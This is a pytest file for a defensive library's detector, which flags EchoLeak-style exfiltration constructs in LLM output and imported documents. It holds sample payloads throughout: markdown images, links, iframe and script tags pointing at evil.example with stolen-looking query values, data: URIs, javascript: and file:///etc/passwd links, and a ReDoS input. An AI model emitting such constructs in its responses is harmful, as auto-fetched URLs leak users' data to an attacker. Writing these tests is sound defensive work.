llm-ingestion-pipeline-security/tests/test_active_content.py

"""Tests for the report-only active-content detector (review 2026-07, Session A).

``scan_active_content`` closes the EchoLeak wiring hole (CVE-2025-32711): the
active-content classes ``neutralize`` can defang — markdown images/links,
reference-link definitions, angle-bracket autolinks, raw active HTML, ``data:``
URIs — must also surface as *findings* on the standard gate, so
``screen_output`` and ``okf.import_bundle`` dispose of them instead of admitting
them silently (OWASP LLM05 — Improper Output Handling).

Report-only twin of ``neutralize`` (design principles 3 & 4): it never mutates,
and severities mirror the defanger's (image / raw-html / data-uri HIGH, links
MEDIUM). One deliberate divergence: markdown images/links are flagged only when
the URL is absolute or protocol-relative — a relative in-document link carries
no exfiltration affordance, and flagging it would silently over-block legitimate
wiki content (design principle 5: over-blocking is a failure mode).
"""
from __future__ import annotations

import pytest

import time

from llm_ingestion_guard import (
    scan_active_content,
    scan_output,
    screen_output,
    Disposition,
    PRESET_USER_UPLOAD,
)
from llm_ingestion_guard.okf import import_bundle, Origin, Channel
from llm_ingestion_guard.report import Severity, Source

# The zero-click EchoLeak primitive: an auto-fetched markdown image URL.
_ECHOLEAK = "![x](https://evil.example/leak?d=stolen)"


# --- the wiring hole the review proved (Probe 1/1b/2) ------------------------

def test_markdown_image_is_reported():
    report = scan_active_content(_ECHOLEAK)
    img = [f for f in report.findings if f.label == "active:markdown-image"]
    assert len(img) == 1
    assert img[0].severity is Severity.HIGH
    assert img[0].detector == "active_content"
    assert img[0].owasp == "LLM05"


def test_scan_output_includes_active_content():
    labels = {f.label for f in scan_output(_ECHOLEAK).findings}
    assert "active:markdown-image" in labels


def test_screen_output_reports_echoleak():
    # Review Probe 1: this was WARN with findings=[] — the unsafe admit.
    decision = screen_output(_ECHOLEAK, PRESET_USER_UPLOAD)
    assert decision.disposition is not Disposition.WARN, decision


def test_okf_import_flags_body_echoleak():
    # Review Probe 2: the same payload in an OKF concept body was ADMITted.
    bundle = {"note.md": "---\ntype: table\n---\n" + _ECHOLEAK + "\n"}
    result = import_bundle(bundle, origin=Origin.EXTERNAL, channel=Channel.AUTOMATIC)
    assert result.disposition is not Disposition.WARN, result


# --- each active-content class surfaces as a finding -------------------------

def test_inline_link_is_reported_medium():
    # Click-required carrier -> MEDIUM when the URL can carry a value outward.
    # (The ordinary form of the same construct is LOW; see the shape tests.)
    report = scan_active_content("click [here](https://evil.example/go?d=account) now")
    link = [f for f in report.findings if f.label == "active:markdown-link"]
    assert len(link) == 1
    assert link[0].severity is Severity.MEDIUM


def test_reference_link_definition_is_reported():
    text = "See [the doc][ref].\n\n[ref]: https://evil.example/leak"
    labels = {f.label for f in scan_active_content(text).findings}
    assert "active:reference-link" in labels


def test_autolink_is_reported():
    report = scan_active_content("read more <https://evil.example/x> here")
    assert any(f.label == "active:autolink" for f in report.findings)


def test_raw_active_html_is_reported():
    report = scan_active_content('<img src="https://evil.example/leak?d=x">')
    html = [f for f in report.findings if f.label == "active:raw-html"]
    assert len(html) == 1
    assert html[0].severity is Severity.HIGH


def test_data_uri_is_reported():
    report = scan_active_content("open data:text/html;base64,PHNjcmlwdD4= please")
    data = [f for f in report.findings if f.label == "active:data-uri"]
    assert len(data) == 1
    assert data[0].severity is Severity.HIGH


# --- false-positive guards: no exfil affordance -> no finding ----------------

def test_relative_link_is_not_flagged():
    # The OKF cross-link case: in-bundle links are the format's core mechanism.
    report = scan_active_content("See [orders](/tables/orders.md) and [notes](./notes.md).")
    assert report.found is False


def test_relative_image_is_not_flagged():
    report = scan_active_content("![diagram](images/arch.png)")
    assert report.found is False


def test_protocol_relative_url_is_flagged():
    # `//evil.example` resolves against the rendering host's scheme — external.
    report = scan_active_content("[x](//evil.example/leak)")
    assert any(f.label == "active:markdown-link" for f in report.findings)


def test_dangerous_scheme_link_is_flagged():
    report = scan_active_content("[x](javascript:alert(1))")
    assert any(f.label == "active:markdown-link" for f in report.findings)


def test_clean_prose_has_no_findings():
    text = ("A perfectly ordinary wiki paragraph. Costs $5! See section [1] below "
            "(really). if a < b and c > d then see [note]. the metadata: field.")
    assert scan_active_content(text).found is False


def test_benign_formatting_html_is_not_flagged():
    report = scan_active_content("This is <b>strong</b> and <em>emph</em> text.")
    assert report.found is False


# --- URL shape: severity tracks what the URL can CARRY (0.3.1) ---------------
# 0.3.0 graded on construct type, so `![diagram](https://example.com/arch.png)`
# — a URL that carries nothing outward — was HIGH and fail-secured every ordinary
# document on the upload preset. Severity now grades on URL *shape*: an ordinary
# external URL (bare path, no query, no opaque segment) is LOW; a URL that can
# move bytes outward keeps the carrier's full severity.

_ORDINARY = [
    ("image", "![diagram](https://example.com/diagrams/arch.png)", "active:markdown-image"),
    ("link", "See [the guide](https://learn.microsoft.com/en-us/azure/overview).", "active:markdown-link"),
    ("autolink", "Spec: <https://example.com/spec/v2>", "active:autolink"),
    ("refdef", "[guide]: https://example.com/docs/deployment-guide", "active:reference-link"),
]


@pytest.mark.parametrize("cid,text,label", _ORDINARY, ids=[c[0] for c in _ORDINARY])
def test_ordinary_external_url_is_low(cid, text, label):
    finding = [f for f in scan_active_content(text).findings if f.label == label]
    assert len(finding) == 1, f"{cid}: {label} not reported at all"
    assert finding[0].severity is Severity.LOW, f"{cid}: {finding[0].severity}"


_EXFIL_SHAPED_URLS = [
    ("query-carries-value", "https://evil.example/collect?d=account-identifier"),
    ("base64-path-segment", "https://evil.example/c3RvbGVuIHNlc3Npb24gdG9rZW4gdmFsdWU/p.png"),
    ("hex-id-path-segment", "https://evil.example/d41d8cd98f00b204e9800998ecf8427e/p.png"),
    ("percent-encoded-path", "https://evil.example/p/%73%65%63%72%65%74%76%61%6c%75%65"),
    ("opaque-subdomain", "https://c3RvbGVuIHNlc3Npb24gdG9rZW4gdmFsdWU.evil.example/p.png"),
    ("userinfo-authority", "https://token:s3cr3tvalue@evil.example/p.png"),
]


@pytest.mark.parametrize("cid,url", _EXFIL_SHAPED_URLS, ids=[c[0] for c in _EXFIL_SHAPED_URLS])
def test_exfil_shaped_image_keeps_high(cid, url):
    finding = [f for f in scan_active_content(f"![x]({url})").findings
               if f.label == "active:markdown-image"]
    assert len(finding) == 1, f"{cid}: image not reported"
    assert finding[0].severity is Severity.HIGH, f"{cid}: downgraded to {finding[0].severity}"


@pytest.mark.parametrize("cid,url", _EXFIL_SHAPED_URLS, ids=[c[0] for c in _EXFIL_SHAPED_URLS])
def test_exfil_shaped_link_keeps_medium(cid, url):
    finding = [f for f in scan_active_content(f"[x]({url})").findings
               if f.label == "active:markdown-link"]
    assert len(finding) == 1, f"{cid}: link not reported"
    assert finding[0].severity is Severity.MEDIUM, f"{cid}: downgraded to {finding[0].severity}"


def test_fragment_is_not_treated_as_carrying():
    # A fragment never reaches the server, so it cannot carry data to the host a
    # renderer auto-fetches — and `…/overview#section` is the most common shape
    # in real documentation. The link-click nuance (an attacker page's JS *can*
    # read location.hash) is a documented residual, not a severity here.
    finding = [f for f in scan_active_content(
        "[prereqs](https://learn.microsoft.com/en-us/azure/overview#prerequisites)"
    ).findings if f.label == "active:markdown-link"]
    assert finding and finding[0].severity is Severity.LOW


def test_non_http_scheme_is_never_ordinary():
    # Only http(s) and protocol-relative URLs have an "ordinary" form. Anything
    # else (javascript:, ftp:, file:, ...) keeps the carrier's full severity
    # whatever its path looks like.
    for url in ("javascript:alert(1)", "ftp://example.com/pub/file.txt", "file:///etc/passwd"):
        finding = [f for f in scan_active_content(f"[x]({url})").findings
                   if f.label == "active:markdown-link"]
        assert finding and finding[0].severity is Severity.MEDIUM, url


def test_raw_html_and_data_uri_stay_high_regardless_of_url_shape():
    # These are active whatever the URL carries: a raw <img> is fetched by the
    # renderer and a data: URI executes its own payload. No ordinary form exists.
    html = [f for f in scan_active_content('<img src="https://example.com/logo.png">').findings
            if f.label == "active:raw-html"]
    assert html and html[0].severity is Severity.HIGH
    data = [f for f in scan_active_content("see data:text/plain,hello here").findings
            if f.label == "active:data-uri"]
    assert data and data[0].severity is Severity.HIGH


def test_worst_url_in_a_class_sets_severity_and_evidence():
    # An exfil URL hidden behind an ordinary one must not be masked by first-hit
    # evidence: the class reports the WORST member, with that member's evidence.
    text = ("![ok](https://example.com/logo.png) "
            "![bad](https://evil.example/collect?d=account-identifier)")
    img = [f for f in scan_active_content(text).findings if f.label == "active:markdown-image"][0]
    assert img.severity is Severity.HIGH
    assert img.count == 2
    assert "evil" in (img.evidence or ""), img.evidence


# --- counting and evidence hygiene -------------------------------------------

def test_image_is_not_double_counted_as_link():
    labels = {f.label for f in scan_active_content("![alt](https://evil.example/x)").findings}
    assert "active:markdown-image" in labels
    assert "active:markdown-link" not in labels


def test_autolink_is_not_double_counted_as_html():
    # `<https://...?src=x>` also parses as an HTML tag with a URL attribute; the
    # autolink pass must consume it first (mirrors neutralize's pass order).
    report = scan_active_content("<https://evil.example/leak?src=x>")
    labels = [f.label for f in report.findings]
    assert labels.count("active:autolink") == 1
    assert "active:raw-html" not in labels


def test_multiple_images_are_counted():
    report = scan_active_content("![a](https://x.example/1) ![b](https://y.example/2)")
    img = [f for f in report.findings if f.label == "active:markdown-image"][0]
    assert img.count == 2


def test_evidence_never_carries_a_fetchable_url():
    # Evidence is defanged (hxxps / bracketed dots): the report must be safe to
    # log and render without recreating the auto-fetch affordance it flagged.
    for payload in (_ECHOLEAK, '<img src="https://evil.example/leak?d=x">'):
        for f in scan_active_content(payload).findings:
            assert "https://" not in (f.evidence or ""), (f.label, f.evidence)


def test_default_source_is_output_and_override_respected():
    assert all(f.source is Source.OUTPUT
               for f in scan_active_content(_ECHOLEAK).findings)
    assert all(f.source is Source.INPUT
               for f in scan_active_content(_ECHOLEAK, source=Source.INPUT).findings)


# --- raw-HTML over-blocks measured on a vendor-docs corpus (2026-07-26) -------
# Documented in docs/LIMITATIONS.md. Pinned so the concessions stay honest: a
# closed over-block should fail here and force the doc to be updated.

# --- the carrier split and the no-URL narrowing (0.7.0) ----------------------
# Two changes that had to ship together: measured alone they free 9 / 21 of
# vendor-harvest's 62 fail_secure documents, together 43 of an achievable 44.
# They co-occur — the no-URL narrowing removes a document's `</a>` and `<Frame>`
# tags, and what is left is the `<a href=...>` the carrier split grades down, so
# each change alone leaves the document blocked by the other's residue. Method
# and numbers: `docs/rawhtml-census.py`.

def test_raw_anchor_is_the_link_class_at_medium():
    # Following an anchor needs a human, exactly like a markdown inline link —
    # which has been MEDIUM since 0.3.1. The same URL was HIGH here and LOW as
    # `[t](...)`, an asymmetry that came from syntax, not affordance.
    finding = [f for f in scan_active_content(
        '<a href="https://evil.example/go?d=account">t</a>').findings
        if f.label == "active:raw-html-link"]
    assert len(finding) == 1, "anchor not reported as the link class"
    assert finding[0].severity is Severity.MEDIUM, finding[0].severity


def test_zero_click_carriers_keep_raw_html_at_high():
    # The split moves ONLY the click-required carriers. Anything a renderer
    # fetches or executes unattended stays where it was.
    for text in ('<img src="https://evil.example/leak?d=x">',
                 '<iframe src="https://evil.example/x">',
                 "<script>fetch('https://evil.example/x')</script>"):
        finding = [f for f in scan_active_content(text).findings
                   if f.label == "active:raw-html"]
        assert finding and finding[0].severity is Severity.HIGH, text


def test_event_handler_on_an_anchor_stays_high():
    # An `onclick=` anchor is execute-class, not click-required-carrier class.
    # The handler test runs BEFORE the name test, so the split cannot grade an
    # XSS carrier down to MEDIUM.
    labels = {f.label for f in scan_active_content(
        '<a href="https://x.example/p" onclick="fetch(1)">t</a>').findings}
    assert "active:raw-html" in labels
    assert "active:raw-html-link" not in labels


def test_mixed_document_reports_both_classes_separately():
    # The class collapses to one finding, so a document carrying both must not
    # lose the anchor behind the script — nor grade the script down to the
    # anchor's severity.
    report = scan_active_content(
        '<script>x()</script> and <a href="https://x.example/p?d=1">t</a>')
    by_label = {f.label: f for f in report.findings}
    assert by_label["active:raw-html"].severity is Severity.HIGH
    assert by_label["active:raw-html-link"].severity is Severity.MEDIUM


def test_link_class_has_no_ordinary_form():
    # Raw HTML grades on carrier only, never on URL shape — measured: applying
    # `is_ordinary_url` to raw tags frees 1 / 1 / 0 documents, because real
    # vendor-doc image URLs are not ordinary. A third tier here would be a
    # severity nobody decided on.
    finding = [f for f in scan_active_content(
        '<a href="https://learn.microsoft.com/en-us/azure/overview">t</a>').findings
        if f.label == "active:raw-html-link"]
    assert finding and finding[0].severity is Severity.MEDIUM, finding


@pytest.mark.parametrize("cid,text", [
    # `</a>` — 146 occurrences inside vendor-harvest's fail_secure documents.
    ("end-tag-names-no-target", "</a>"),
    # `<Frame>` / `</Frame>` — a common MDX wrapper component, 94 occurrences.
    ("mdx-component-named-like-a-tag", "<Frame>"),
    ("mdx-component-end-tag", "</Frame>"),
    # `<video />`, 19 occurrences: a self-closing media tag naming no source.
    ("self-closing-media", "<video />"),
    ("anchor-without-href", "<a />"),
    # An `<img>` carrying alt text but no `src` fetches nothing.
    ("img-without-src", '<img alt="Diagram of the agent loop">'),
])
def test_url_affordance_tag_without_a_url_is_not_active(cid, text):
    # A tag whose whole affordance IS the URL it names, carrying no URL
    # attribute at all, has no affordance in any renderer — the argument 0.6.0
    # already accepted for `<base />`, applied to the rest of the name branch.
    assert not [f for f in scan_active_content(text).findings
                if f.label.startswith("active:raw-html")], cid


@pytest.mark.parametrize("cid,text", [
    ("relative-src-still-active", '<img src="/local/diagram.png">'),
    ("relative-href-still-active", '<a href="/en/quickstart">t</a>'),
    # The narrowing tests for the ATTRIBUTE's presence, not for a readable value:
    # a value the parser cannot resolve must over-block, never under-block. The
    # corpora carry 0 of these today, which is empirical, not structural.
    ("unreadable-value-fails-secure", "<img src= >"),
    ("event-handler-without-url", '<a onclick="fetch(1)">t</a>'),
])
def test_url_affordance_narrowing_only_frees_the_attribute_less(cid, text):
    assert [f for f in scan_active_content(text).findings
            if f.label.startswith("active:raw-html")], cid


def test_unknown_name_with_an_external_url_stays_high():
    # The url-attribute branch is deliberately NOT in the link class: a tag
    # outside the known name set has unknown rendering, and `href` is not the
    # only URL attribute it may carry. Measured cost of the conservative line:
    # one document per wiki corpus.
    finding = [f for f in scan_active_content(
        '<Card title="Docs" href="https://evil.example/leak?d=x">').findings
        if f.label == "active:raw-html"]
    assert len(finding) == 1 and finding[0].severity is Severity.HIGH, finding


# --- the two over-blocks CLOSED in 0.6.0 (the `A + base-url` narrowing) -------
# Measured together, never one at a time: the classes co-occur, so a document
# blocked by both is freed by neither alone. On the reference corpus the pair
# frees 25 of 133 non-WARN documents; on the two wiki corpora, 2 each. Recall is
# unchanged (128/128 + 6/6). Method and numbers: `docs/rawhtml-census.py`.

def test_relative_url_attr_on_an_inactive_name_is_not_active():
    # `_URL_ATTR_RE` is a presence test, so a doc-relative route on a name outside
    # the active set used to carry HIGH on its own. A relative target resolves
    # against the rendering host and reaches nothing attacker-controlled — the rule
    # the markdown paths have applied since 0.3.1.
    assert not [
        f for f in scan_active_content(
            '<Card title="Quickstart" icon="play" href="/en/agent-sdk/quickstart">'
        ).findings if f.label == "active:raw-html"
    ]


def test_attributeless_base_is_not_active():
    # `<base>`'s whole affordance is its `href`, which the URL-attribute branch
    # still catches (below). An attribute-less `<base />` — Azure APIM policy XML,
    # 25 documents in the reference corpus — has no affordance in any renderer.
    assert not [f for f in scan_active_content("<base />").findings
                if f.label == "active:raw-html"]


@pytest.mark.parametrize("cid,text", [
    ("absolute", '<Card title="Docs" href="https://evil.example/leak?d=x">'),
    ("protocol-relative", '<Card href="//evil.example/leak">'),
    ("non-http-scheme", '<Card href="file:///etc/passwd">'),
    ("base-keeps-its-href", '<base href="https://evil.example/">'),
    # `srcset` is a comma-separated candidate list. A relative FIRST candidate must
    # not mask an external one behind it — the value is not one URL.
    ("srcset-second-candidate", '<Card srcset="a.png 1x, https://evil.example/b.png 2x">'),
    # The value parser saw the attribute but can resolve no value. The gap must
    # over-block, never under-block.
    ("unreadable-value-fails-secure", "<Card href= >"),
])
def test_external_url_attr_is_still_active(cid, text):
    finding = [f for f in scan_active_content(text).findings
               if f.label == "active:raw-html"]
    assert len(finding) == 1, f"{cid}: raw-html not reported"
    assert finding[0].severity is Severity.HIGH, f"{cid}: {finding[0].severity}"


def test_raw_html_no_longer_counts_end_tags():
    # Through 0.6.1 `</a>` was active by name on its own, so `count` ran roughly
    # 1.6x the opening-tag total and a start/end pair counted 2. The no-URL
    # narrowing makes an end tag inert — it names no target — so `count` is now
    # the opening-tag total. This is a PUBLISHED field moving: a consumer reading
    # `count` sees it drop for every document carrying `</a>`.
    assert not [f for f in scan_active_content("</a>").findings
                if f.label.startswith("active:raw-html")]

    pair = [f for f in scan_active_content('<a href="https://x.example/p">t</a>').findings
            if f.label == "active:raw-html-link"]
    assert len(pair) == 1, "a start/end pair must not split into two findings"
    assert pair[0].count == 1, f"end tag still counted: {pair[0].count}"


# --- self-safety (OWASP LLM10): the long-attribute arm -----------------------
# The `_REDOS_PAYLOADS` rows in test_output.py attack tags that never CLOSE, so
# `HTML_TAG_RE` fails and the tag body is never handed on. This arm is the
# opposite: the tag closes, and its body is long. `_tag` then runs
# `URL_IN_TEXT_RE` over it, whose scheme run sits in front of a required `://`
# that never arrives — 12.99s at 100_000 chars through this scanner, exponent
# 1.87-2.06 over four doublings, with no input cap on this entry point at all.
# Missed by the 0.3.2 sweep because a repeating-unit payload cannot express
# "one tag, long body"; found by docs/redos-sweep.py generalised past lexicon.
_ATTR_REDOS_N = 100_000


def test_crafted_long_attribute_tag_stays_bounded():
    payload = "<a " + "A" * _ATTR_REDOS_N + ">"
    start = time.monotonic()
    scan_active_content(payload)
    assert time.monotonic() - start < 2.0


def test_url_defanging_survives_the_redos_fix():
    # Recall parity for the evidence defanger, including the two forms a
    # lookbehind-based fix would have dropped (`-` / `.` immediately before the
    # scheme), which is why the scheme run is bounded instead.
    for raw, expected in (
        ("<a href=http://evil.com>", "hxxp"),
        ("<a href=-http://evil.com>", "hxxp"),
        ("<a href=.http://x.com>", "hxxp"),
        ('<a href="https://a.b/c">', "hxxps"),
    ):
        report = scan_active_content(raw)
        evidence = " ".join(f.evidence or "" for f in report.findings)
        assert expected in evidence, raw
        assert "http://" not in evidence and "https://" not in evidence, raw


# --- self-safety (OWASP LLM10) ----------------------------------------------
#
# Reached through `scan_output` this detector inherits that surface's cap. Called
# directly — the shape an adapter reaches for when it wants the active-content
# classes alone — it had none. It is detection-shaped, so it truncates and flags
# rather than raising the way the transform surfaces do: what a shortened scan
# costs is coverage of the tail, not the caller's content.

def test_oversize_input_is_capped_and_flagged():
    big = "x" * 200 + "\n![alt](https://evil.example/beyond-the-cap)\n"
    report = scan_active_content(big, max_scan_chars=50)

    oversize = [f for f in report.findings if "oversize" in f.label]
    assert len(oversize) == 1
    assert oversize[0].owasp == "LLM10"
    assert oversize[0].count == len(big)
    # Prefix only: the construct past the cap is not reported. This is the cost
    # the flag exists to announce, so assert it rather than assume it.
    assert not [f for f in report.findings if f.label == "active:markdown-image"]


def test_input_exactly_at_the_cap_is_not_flagged():
    # The cap is the largest scanned size, not the smallest truncated one.
    report = scan_active_content("x" * 50, max_scan_chars=50)
    assert not [f for f in report.findings if "oversize" in f.label]